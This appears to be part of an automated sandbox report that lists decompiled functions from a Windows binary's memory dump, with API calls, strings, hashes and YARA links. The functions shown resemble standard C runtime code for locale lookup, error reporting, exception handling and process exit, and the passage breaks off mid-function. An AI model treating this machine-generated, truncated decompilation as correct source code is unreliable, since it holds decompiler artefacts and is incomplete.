Instruction Fuzzy Hash: 97C24D71E046298FDB25EF28DD407E9B7B5EB48319F1441EAD81EE7280E774AE818F44

Uniqueness

Uniqueness Score: -1.00%

Function 00C86126, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00C86126(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E00C7AA92(_t23, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x00c8612b
0x00c8612c
0x00c86133
0x00c861d7
0x00c861f0
0x00c861f6
0x00c861fb
0x00c861fd
0x00c861fd
0x00c86203
0x00c86206
0x00c86206
0x00c861f2
0x00c861f2
0x00000000
0x00c861f2
0x00c86139
0x00c8613e
0x00000000
0x00000000
0x00c86144
0x00c86149
0x00c8614b
0x00c8614b
0x00c86151
0x00000000
0x00000000
0x00c86156
0x00c8616d
0x00c8616d
0x00c86176
0x00c86178
0x00000000
0x00000000
0x00c8617a
0x00c8617f
0x00c86181
0x00c86181
0x00c86187
0x00000000
0x00000000
0x00c8618c
0x00c861aa
0x00c861ac
0x00c861cf
0x00000000
0x00c861d4
0x00c861c7
0x00000000
0x00000000
0x00c861c9
0x00000000
0x00c861c9
0x00c8618e
0x00c86196
0x00000000
0x00000000
0x00c86198
0x00c8619b
0x00c861a1
0x00000000
0x00000000
0x00000000
0x00c861a3
0x00c861a5
0x00c861a7
0x00000000
0x00c861a7
0x00c86158
0x00c86160
0x00000000
0x00000000
0x00c86162
0x00c86165
0x00c8616b
0x00000000
0x00000000
0x00000000
0x00c8616b
0x00c86171
0x00c86173
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00C86444,00000002,00000000,?,?,?,00C86444,?,00000000), ref: 00C861BF
GetLocaleInfoW.KERNEL32(?,20001004,00C86444,00000002,00000000,?,?,?,00C86444,?,00000000), ref: 00C861E8
GetACP.KERNEL32(?,?,00C86444,?,00000000), ref: 00C861FD

Strings

ACP, xrefs: 00C86144
OCP, xrefs: 00C8617A

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ca98e2c5d888595a4db2d02dcf67d57bc864a25ddc708fb81131eb3c2596582a
Instruction ID: b3e91ba11de05173b255148f460c85bb6404e6115e5fe36c2145dc171dc77495
Opcode Fuzzy Hash: ca98e2c5d888595a4db2d02dcf67d57bc864a25ddc708fb81131eb3c2596582a
Instruction Fuzzy Hash: 6721A162A00105AAEB24AF59C90DB9FB3A7FB50B5DB568064E91AD7207E732DF40C358

Uniqueness

Uniqueness Score: -1.00%

Function 00C52960, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00C52960(intOrPtr _a4, intOrPtr _a8) {
				short _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _t20;
				void* _t29;
				void* _t40;
				void* _t41;
				void* _t43;

				if(_a8 == 0) {
					_v16 = 1;
				} else {
					_v16 = 2;
				}
				_t20 = E00C520B0(_a4, _v16);
				_t41 = _t40 + 8;
				_v12 = _t20;
				if(_v12 == 0xffffffff) {
					_v20 = GetLastError();
					if(_v20 != 0x50) {
						FormatMessageW(0x1300, 0, _v20, 0,  &_v8, 0, 0);
						E00C53700(_v8, lstrlenW(_v8));
						LocalFree(_v8);
						E00C6420D(1);
					} else {
						_t29 = E00C51CB0(0x8a, _a4);
						_t43 = _t41 + 8;
						if(_t29 == 0) {
							_push(0x76);
							E00C53610();
							_t43 = _t43 + 4;
							E00C6420D(0);
						}
						_v12 = E00C520B0(_a4, 2);
					}
				}
				return _v12;
			}

0x00c5296a
0x00c52975
0x00c5296c
0x00c5296c
0x00c5296c
0x00c52984
0x00c52989
0x00c5298c
0x00c52993
0x00c5299f
0x00c529a6
0x00c529f6
0x00c52a0b
0x00c52a17
0x00c52a1f
0x00c529a8
0x00c529b1
0x00c529b6
0x00c529bb
0x00c529bd
0x00c529bf
0x00c529c4
0x00c529c9
0x00c529c9
0x00c529dc
0x00c529dc
0x00c529a6
0x00c52a2a

APIs

GetLastError.KERNEL32 ref: 00C52999
FormatMessageW.KERNEL32(00001300,00000000,00000050,00000000,?,00000000,00000000), ref: 00C529F6
lstrlenW.KERNEL32(?), ref: 00C52A00

Part of subcall function 00C53700: GetStdHandle.KERNEL32(000000F5,00C53625,00C535F8,?,00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C53716
Part of subcall function 00C53700: WriteConsoleW.KERNEL32(00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C5371D
Part of subcall function 00C53700: GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00000000,00000000,00000000,00000000), ref: 00C5373E
Part of subcall function 00C53700: WideCharToMultiByte.KERNEL32(00000000), ref: 00C53745
Part of subcall function 00C53700: GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00C53625,00000000,00000000,00000000), ref: 00C53773
Part of subcall function 00C53700: WideCharToMultiByte.KERNEL32(00000000), ref: 00C5377A
Part of subcall function 00C53700: GetStdHandle.KERNEL32(000000F5,00C53625,00000000,?,00000000), ref: 00C53790
Part of subcall function 00C53700: WriteFile.KERNEL32(00000000), ref: 00C53797

LocalFree.KERNEL32(?), ref: 00C52A17

Strings

P, xrefs: 00C529A2

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$ByteCharHandleMultiOutputWideWrite$ErrorFileFormatFreeLastLocalMessagelstrlen
String ID: P
API String ID: 1926120129-3110715001
Opcode ID: f92447091fc6e6b4dd8d772103dcbb55ee97ba796d576b144b8cefb0ea64e653
Instruction ID: 8db951ff3f2f750db5e8168502609904a555d361c5206e96dba7b8a6576d9360
Opcode Fuzzy Hash: f92447091fc6e6b4dd8d772103dcbb55ee97ba796d576b144b8cefb0ea64e653
Instruction Fuzzy Hash: 0E21C3B9D00208BBDB10EBE4DC4ABAE77B4AB09706F104108FE256A2C1E7715784DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C862FB, Relevance: 7.7, APIs: 5, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00C862FB(void* __ecx, void* __edx, void* __eflags, signed short _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				short* _t48;
				int _t49;
				void* _t53;
				short* _t55;
				short* _t56;
				short* _t57;
				int _t64;
				int _t66;
				short* _t70;
				intOrPtr _t73;
				void* _t75;
				short* _t76;
				intOrPtr _t83;
				short* _t86;
				short* _t89;
				short** _t99;
				short* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0xca3098; // 0x75d6936a
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E00C7B398(__ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E00C7B398(__ecx, __edx);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0xc9c24c; // 0x17
					E00C8629A(_t89, 0, 0xc9c138, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t97;
					if(__eflags == 0) {
						goto L19;
					}
					E00C85C07(_t89, _t97, __eflags,  &_v20);
					_pop(_t89);
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0) {
						L8:
						E00C85D0B(_t89, _t97, __eflags,  &_v20);
						L9:
						_pop(_t89);
						if(_v20 != 0) {
							_t100 = 0;
							__eflags = 0;
							L25:
							asm("sbb esi, esi");
							_t101 = E00C86126(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
							__eflags = _t101;
							if(_t101 == 0) {
								L22:
								_t53 = 0;
								L23:
								return E00C572B1(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
							}
							_t55 = IsValidCodePage(_t101 & 0x0000ffff);
							__eflags = _t55;
							if(_t55 == 0) {
								goto L22;
							}
							_t56 = IsValidLocale(_v16, 1);
							__eflags = _t56;
							if(_t56 == 0) {
								goto L22;
							}
							_t57 = _v28;
							__eflags = _t57;
							if(_t57 != 0) {
								 *_t57 = _t101;
							}
							E00C8717D(_v16,  &(_v24[0x128]), 0x55, _t100);
							__eflags = _t86;
							if(_t86 == 0) {
								L34:
								_t53 = 1;
								goto L23;
							}
							_t33 =  &(_t86[0x90]); // 0xd0
							E00C8717D(_v16, _t33, 0x55, _t100);
							_t64 = GetLocaleInfoW(_v16, 0x1001, _t86, 0x40);
							__eflags = _t64;
							if(_t64 == 0) {
								goto L22;
							}
							_t36 =  &(_t86[0x40]); // 0x30
							_t66 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
							__eflags = _t66;
							if(_t66 == 0) {
								goto L22;
							}
							_t38 =  &(_t86[0x80]); // 0xb0
							E00C90B71(_t38, _t101, _t38, 0x10, 0xa);
							goto L34;
						}
						_t73 =  *0xc9c134; // 0x41
						_t75 = E00C8629A(_t89, _t97, 0xc9be28, _t73 - 1, _v24);
						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								goto L25;
							}
							goto L22;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0) {
							L14:
							E00C85D0B(_t89, _t97, __eflags,  &_v20);
							L15:
							_pop(_t89);
							goto L21;
						}
						_t118 =  *_t76;
						if( *_t76 == 0) {
							goto L14;
						}
						E00C85C70(_t89, _t97, _t118,  &_v20);
						goto L15;
					}
					_t114 =  *_t70 - _t97;
					if( *_t70 == _t97) {
						goto L8;
					}
					E00C85C70(_t89, _t97, _t114,  &_v20);
					goto L9;
				}
			}

0x00c86303
0x00c8630a
0x00c86311
0x00c86315
0x00c86319
0x00c86327
0x00c8632c
0x00c8632d
0x00c8632e
0x00c8632f
0x00c86337
0x00c86339
0x00c8633f
0x00c86345
0x00c86348
0x00c8634a
0x00c8634d
0x00c86351
0x00c86358
0x00c86365
0x00c8636a
0x00c8636d
0x00c86370
0x00c86370
0x00c86372
0x00c86375
0x00c86379
0x00c863e9
0x00c863eb
0x00c863ed
0x00c86400
0x00c86400
0x00c86407
0x00c8640d
0x00c86410
0x00000000
0x00c86410
0x00c863ef
0x00c863f2
0x00000000
0x00000000
0x00c863f8
0x00c863fd
0x00000000
0x00c86380
0x00c86380
0x00c86384
0x00c86396
0x00c8639a
0x00c8639f
0x00c863a3
0x00c863a4
0x00c8642c
0x00c8642c
0x00c8642e
0x00c8643a
0x00c86444
0x00c86448
0x00c8644a
0x00c8641b
0x00c8641b
0x00c8641d
0x00c8642b
0x00c8642b
0x00c86450
0x00c86456
0x00c86458
0x00000000
0x00000000
0x00c8645f
0x00c86465
0x00c86467
0x00000000
0x00000000
0x00c86469
0x00c8646c
0x00c8646e
0x00c86470
0x00c86470
0x00c86481
0x00c86486
0x00c86488
0x00c864e8
0x00c864ea
0x00000000
0x00c864ea
0x00c8648d
0x00c86497
0x00c864a7
0x00c864ad
0x00c864af
0x00000000
0x00000000
0x00c864b7
0x00c864c6
0x00c864cc
0x00c864ce
0x00000000
0x00000000
0x00c864d8
0x00c864e0
0x00000000
0x00c864e5
0x00c863aa
0x00c863b9
0x00c863be
0x00c863c3
0x00c86413
0x00c86413
0x00c86413
0x00c86415
0x00c86419
0x00000000
0x00000000
0x00000000
0x00c86419
0x00c863c5
0x00c863c7
0x00c863cb
0x00c863dd
0x00c863e1
0x00c863e6
0x00c863e6
0x00000000
0x00c863e6
0x00c863cd
0x00c863d0
0x00000000
0x00000000
0x00c863d6
0x00000000
0x00c863d6
0x00c86386
0x00c86389
0x00000000
0x00000000
0x00c8638f
0x00000000
0x00c8638f

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

Part of subcall function 00C7B398: _free.LIBCMT ref: 00C7B3FA
Part of subcall function 00C7B398: _free.LIBCMT ref: 00C7B430

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00C86407
IsValidCodePage.KERNEL32(00000000), ref: 00C86450
IsValidLocale.KERNEL32(?,00000001), ref: 00C8645F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00C864A7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00C864C6

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: ff5a1873c56d740f55abe416fadb7d65207ea24f6c8d9f3e963e36769d664c91
Instruction ID: 00d638474d52aa3975358e644a4fbd925152da18acb4ad8b4789c466f1242bc9
Opcode Fuzzy Hash: ff5a1873c56d740f55abe416fadb7d65207ea24f6c8d9f3e963e36769d664c91
Instruction Fuzzy Hash: 44519E71A00205AFEF10EFA5DC45BAE77B8FF49708F14446AE911EB191EB70DA049B68

Uniqueness

Uniqueness Score: -1.00%

Function 00C56E03, Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00C56E03(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00C57006(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00C583F0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00C583F0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00C57006(_t49);
				}
				return _t49;
			}

0x00c56e03
0x00c56e03
0x00c56e03
0x00c56e17
0x00c56e19
0x00c56e1c
0x00c56e1c
0x00c56e20
0x00c56e25
0x00c56e3d
0x00c56e43
0x00c56e49
0x00c56e4f
0x00c56e55
0x00c56e5b
0x00c56e61
0x00c56e68
0x00c56e6f
0x00c56e76
0x00c56e7d
0x00c56e84
0x00c56e8b
0x00c56e8c
0x00c56e95
0x00c56e9b
0x00c56e9e
0x00c56ea4
0x00c56eb3
0x00c56ebf
0x00c56eca
0x00c56ed1
0x00c56ed8
0x00c56ee3
0x00c56eeb
0x00c56ef4
0x00c56ef6
0x00c56ef9
0x00c56efb
0x00c56f05
0x00c56f0d
0x00c56f13
0x00000000
0x00c56f1a
0x00c56f1d

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00C56E0F
IsDebuggerPresent.KERNEL32 ref: 00C56EDB
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00C56EFB
UnhandledExceptionFilter.KERNEL32(?), ref: 00C56F05

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 47ad654b6cb95c194fe25b5b03ad6bfc058186f51e7cea500f694b0185e17091
Instruction ID: 83584de914907f0388aba1bdd1ad65b2ea0b4c42e0d6e9ebd699e8388919c100
Opcode Fuzzy Hash: 47ad654b6cb95c194fe25b5b03ad6bfc058186f51e7cea500f694b0185e17091
Instruction Fuzzy Hash: 40311A79D05218DBDF21DFA4D9497CDBBB8EF08301F10419AE40DAB250EB719A88DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B717, Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00C7B717(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0xca3098; // 0x75d6936a
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00C57006(_t41);
					_pop(_t61);
				}
				E00C583F0(_t66,  &_v804, 0, 0x50);
				E00C583F0(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00C57006(_t57);
				}
				return E00C572B1(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00c7b717
0x00c7b717
0x00c7b717
0x00c7b722
0x00c7b727
0x00c7b729
0x00c7b731
0x00c7b733
0x00c7b736
0x00c7b73b
0x00c7b73b
0x00c7b747
0x00c7b75a
0x00c7b768
0x00c7b76e
0x00c7b774
0x00c7b77a
0x00c7b780
0x00c7b786
0x00c7b78c
0x00c7b792
0x00c7b798
0x00c7b79e
0x00c7b7a5
0x00c7b7ac
0x00c7b7b3
0x00c7b7ba
0x00c7b7c1
0x00c7b7c8
0x00c7b7c9
0x00c7b7d2
0x00c7b7d8
0x00c7b7db
0x00c7b7e1
0x00c7b7ee
0x00c7b7f7
0x00c7b800
0x00c7b809
0x00c7b817
0x00c7b819
0x00c7b82e
0x00c7b83a
0x00c7b83d
0x00c7b842
0x00c7b84f

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00C7B80F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00C7B819
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00C7B826

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a09749c1582d31dd32e5c690b28a923f9168101afda9357ba9832b8843e46816
Instruction ID: 961f1716f5f96a308d7d1725538858285fe6614919535fe772df5e0bb98fef66
Opcode Fuzzy Hash: a09749c1582d31dd32e5c690b28a923f9168101afda9357ba9832b8843e46816
Instruction Fuzzy Hash: 1C31A4749012289BCB21DF68D88978DBBB8FF48310F5041EAE81CA7291EB749FC58F55

Uniqueness

Uniqueness Score: -1.00%

Function 00C64084, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C64084(int _a4) {
				void* _t14;

				if(E00C7BDAE(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00C64134(_t14, _a4);
				ExitProcess(_a4);
			}

0x00c64091
0x00c640ad
0x00c640ad
0x00c640b6
0x00c640bf

APIs

GetCurrentProcess.KERNEL32(00C53341,?,00C64083,00C53757,?,00C53341,00C53757,00C53341,00000001), ref: 00C640A6
TerminateProcess.KERNEL32(00000000,?,00C64083,00C53757,?,00C53341,00C53757,00C53341,00000001), ref: 00C640AD
ExitProcess.KERNEL32 ref: 00C640BF

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ed8915a6639e76836fd3e70f2f48c5549539e96e0544c39c718ad6dfd3ce7f9b
Instruction ID: 0795246c7d27956fe42c328975ca79f2a1ed5a14383221ddb44023e4d58ce33d
Opcode Fuzzy Hash: ed8915a6639e76836fd3e70f2f48c5549539e96e0544c39c718ad6dfd3ce7f9b
Instruction Fuzzy Hash: 93E0EC31000148AFCF266F58DE8DB5C3B6AFF59741F144419FA2986535CB36DE91DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00C8BC80, Relevance: 3.4, APIs: 2, Instructions: 450
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00C8BC80(signed int* _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr* _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t190;
				signed int _t191;
				intOrPtr _t192;
				signed int _t195;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t204;
				signed int _t210;
				intOrPtr _t216;
				void* _t219;
				signed int _t221;
				signed int _t232;
				void* _t236;
				signed int _t239;
				signed int* _t244;
				signed int _t245;
				signed int* _t246;
				signed int* _t247;
				signed int _t249;
				signed int _t250;
				void* _t251;
				intOrPtr* _t252;
				signed int _t253;
				unsigned int _t254;
				signed int _t256;
				signed int* _t260;
				signed int _t261;
				signed int _t262;
				intOrPtr _t264;
				void* _t268;
				signed char _t274;
				signed int* _t277;
				signed int _t281;
				signed int* _t282;
				intOrPtr* _t289;
				signed int _t291;
				signed int _t292;
				signed int* _t295;
				signed int _t296;
				signed int _t298;
				intOrPtr* _t299;
				signed int _t303;
				signed int _t304;
				signed int _t309;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				void* _t315;
				signed int _t316;
				signed int _t319;
				signed int _t323;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				void* _t329;
				signed int _t334;
				signed int _t341;
				signed int* _t342;

				_t244 = _a4;
				_t325 =  *_t244;
				if(_t325 == 0) {
					L74:
					__eflags = 0;
					return 0;
				} else {
					_t289 = _a8;
					_t190 =  *_t289;
					_v56 = _t190;
					if(_t190 == 0) {
						goto L74;
					} else {
						_t312 = _t190 - 1;
						_t253 = _t325 - 1;
						_v12 = _t253;
						if(_t312 != 0) {
							__eflags = _t312 - _t253;
							if(_t312 > _t253) {
								goto L74;
							} else {
								_t191 = _t253;
								_t291 = _t253 - _t312;
								__eflags = _t253 - _t291;
								if(_t253 < _t291) {
